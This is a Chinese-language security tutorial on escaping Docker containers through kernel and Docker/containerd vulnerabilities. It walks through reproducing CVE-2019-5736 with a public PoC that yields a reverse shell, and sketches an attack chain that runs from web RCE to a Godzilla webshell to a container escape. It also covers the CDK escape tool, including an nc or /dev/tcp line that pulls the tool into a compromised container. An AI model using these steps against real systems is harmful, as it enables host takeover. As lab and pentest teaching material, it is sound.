漏洞利用逃逸
通過漏洞利用實現逃逸,主要分為以下兩種方式:
1、操作系統層面的內核漏洞
這是利用宿主機操作系統內核中的安全漏洞,直接突破容器的隔離機制,獲得宿主機的權限。
攻擊原理:容器本質上是通過 Linux 的 cgroups 和 namespace 提供隔離,而這些功能依賴于內核。因此,內核漏洞可能被用來突破隔離,攻擊者可以直接訪問宿主機。
常用漏洞:
- Dirty COW (CVE-2016-5195):Linux 內核的寫時復制 (Copy-On-Write) 漏洞,攻擊者可以通過漏洞實現提權,影響宿主機。
- OverlayFS 漏洞 (如 CVE-2021-3493):OverlayFS 文件系統中的權限校驗漏洞,允許容器突破文件系統限制訪問宿主機。
- 權限提升漏洞 (如 CVE-2022-0847):又名“Dirty Pipe”,允許攻擊者通過文件寫入操作實現提權。
- 其它:CVE-2019-16884、CVE-2021-22555、CVE-2022-0492、CVE-2022-23222等
系統內核漏洞并非 Docker 容器逃逸的“專屬”利用方式,而是通用的一種權限提升技術。在 Web 安全或本地提權攻擊場景中,內核漏洞同樣可以被用來獲取更高的系統權限。本章節屬于云安全Docker內容,因此,內核漏洞的利用本文不做具體討論。
2、Docker自身版本漏洞
Docker 本身作為容器管理工具,可能存在漏洞或實現上的不足,攻擊者可以通過漏洞逃逸出容器環境,直接控制宿主機。
?
常用漏洞:
CVE-2019-5736
攻擊者通過覆蓋容器內的 runc 二進制文件,可以執行任意代碼并控制宿主機。
利用條件
(1)版本:Docker version <= 18.09.2,RunC version <= 1.0-rc6?
(2)需要管理員再次進入容器觸發
漏洞復現
a.首先卸載原有docker
sudo apt-get purge -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras
sudo rm -rf /var/lib/docker
sudo rm -rf /var/lib/containerd
sudo rm /etc/apt/sources.list.d/docker.list
sudo rm /etc/apt/keyrings/docker.asc
b.安裝漏洞對應版本
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
c.編譯exp ,項目地址
https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go
下載EXP后修改
使用如下命令進行編譯EXP
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
d.準備另一臺主機進行監聽,上傳EXP到容器,執行
e. 模擬管理員進入容器,觸發EXP執行,成功反彈shell,復現完畢
模擬實戰
受害者搭建網站
攻擊者發現存在 Spring Cloud Gateway 命令執行漏洞
發現是容器root權限
植入內存馬,使用哥斯拉連接
使用哥斯拉的遠程下載功能,下載EXP,并賦予執行權限
監聽、執行→管理員進入容器→成功逃逸
CVE-2020-15257
該漏洞出現在 containerd 的 CRI plugin(容器運行時接口插件)中。攻擊者可以通過創建特定配置的容器,將 cgroups(控制組)的 pids.max 參數設置為無效值。當 containerd 嘗試寫入這個值時,會導致內核返回錯誤。這可能使 containerd 的內部機制中斷,從而允許攻擊者進一步利用該錯誤實現權限提升。
利用條件
(1)版本:containerd < 1.4.3,containerd < 1.3.9(不含1.3.9 和 1.4.3)
(2)容器權限為root,且以 --net=host 模式啟動
模擬復現
a. 受害者安裝的containerd版本為漏洞版本
apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
b.受害者基于以上環境搭建的網站,存在struts2漏洞
c. 攻擊者發現漏洞。執行命令,發現是容器環境,權限為容器root
d.攻擊者反彈shell后,在受害者容器內下載CDK項目
e.后續利用,搜尋教程和資料說是可以借助自動化項目CDK進行容器逃逸。但是,不知道哪里出了問題,該漏洞我未能復現成功,猜測是各大云廠商做了安全優化,一路上各種報錯,如果哪位大佬知道其中的緣由,還望告知!
自動化項目:CDK
項目鏈接:
GitHub - cdk-team/CDK: 📦 Make security testing of K8s, Docker, and Containerd easier.
CDK是一款為容器環境定制的滲透測試工具,在已攻陷的容器內部提供零依賴的常用命令及PoC/EXP。集成Docker/K8s場景特有的 逃逸、橫向移動、持久化利用方式,插件化管理。?
下載/植入
- 在目標容器內直接wget或者curl
- 通過公網主機nc重定向
A主機:nc -lvp 999 < cdk
B主機:cat < /dev/tcp/A主機IP/999 > cdk
?
功能模塊
- Evaluate: 容器內部信息收集,以發現潛在的弱點便于后續利用。
- Exploit: 提供容器逃逸、持久化、橫向移動等利用方式。
- Tool: 修復滲透過程中常用的linux命令以及與Docker/K8s API交互的命令。
使用測試
以特權模式啟動一個容器
在容器中下載CDK
信息收集
./cdk eva
發現特權模式
特權模式利用
./cdk run mount-disk
使用自動逃逸也是沒問題的
./cdk auto-escape id
Ps:該項目還是很強大的,經測試,特權模式、危險掛載均可以檢查并利用,師傅們可自行測試
結尾
至此,Docker安全問題分析結束,下一篇開始,討論容器編排工具k8s的安全問題